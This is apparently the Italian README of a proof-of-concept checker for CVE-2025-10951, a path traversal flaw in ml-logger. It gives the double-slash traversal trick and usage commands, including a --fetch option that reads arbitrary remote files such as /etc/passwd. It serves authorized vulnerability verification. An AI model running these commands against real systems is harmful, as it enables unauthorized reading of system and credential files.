
Verificatore proof-of-concept per CVE-2025-10951, una path traversal non autenticata in ml-logger, che valida la lettura arbitraria di file tramite gli endpoint /glob e /stream.
Strumento di verifica dell'esistenza per CVE-2025-10951 / GHSA-8x9j-2p8r-7xc6 — una
path traversal non autenticata in geyang/ml-logger
(≤ 0.10.36), che interessa le funzioni log_handler / stream_handler in
ml_logger/server.py.
Da utilizzare esclusivamente su sistemi che sei autorizzato a testare.
| Endpoint | Metodo | Scopo |
|---|---|---|
/glob | POST | Conferma che il server elenca percorsi del filesystem al di fuori dell'ambito previsto dall'applicazione |
/stream | GET | Conferma la lettura arbitraria di file tramite un trucco di traversal con doppio slash iniziale (//path/to/file) |
Per impostazione predefinita, la fase di verifica legge solo /etc/hostname — una singola riga
innocua, presente praticamente su ogni host Linux, mai dati sensibili.
pip install requests
Verifica di base:
python3 check_mllogger_traversal.py http://TARGET:PORT
Scrivi i risultati in JSON (per documentazione / evidenza dell'incarico):
python3 check_mllogger_traversal.py http://TARGET:PORT --json results.json
Recupera un file specifico scelto da te (viene eseguito solo se la vulnerabilità è confermata):
python3 check_mllogger_traversal.py http://TARGET:PORT \
--fetch /etc/passwd --output passwd.txt
Tutto insieme:
python3 check_mllogger_traversal.py http://TARGET:PORT \
--json results.json --fetch /etc/passwd --output passwd.txt
0 — vulnerabilità confermata (completamente o probabile)1 — non confermata vulnerabile / target non raggiungibile{
"target": "http://192.xxx.xxx.xxx:8081",
"timestamp": "2026-00-12T10:15:32.123456+00:00",
"cve": "CVE-2025-10951",
"glob_endpoint_confirmed": true,
"stream_endpoint_confirmed": true,
"vulnerable": true,
"likely_vulnerable": true,
"fetch": {
"remote_path": "/etc/passwd",
"local_path": "passwd.txt",
"success": true
}
}
--fetch verrà eseguito solo dopo che la verifica della vulnerabilità avrà avuto successo — non
tenterà un fetch contro un target non confermato.| Flag | Descrizione |
|---|
target | URL di base, es. http://192.xxx.x.xx:8081 |
--timeout | Timeout della richiesta in secondi (default: 8.0) |
--json FILE | Scrive i risultati strutturati in un file JSON |
--fetch REMOTE_PATH | Recupera un file remoto specifico indicato da te |
--output LOCAL_PATH | Nome del file locale per l'output di --fetch (default: nome base del percorso remoto) |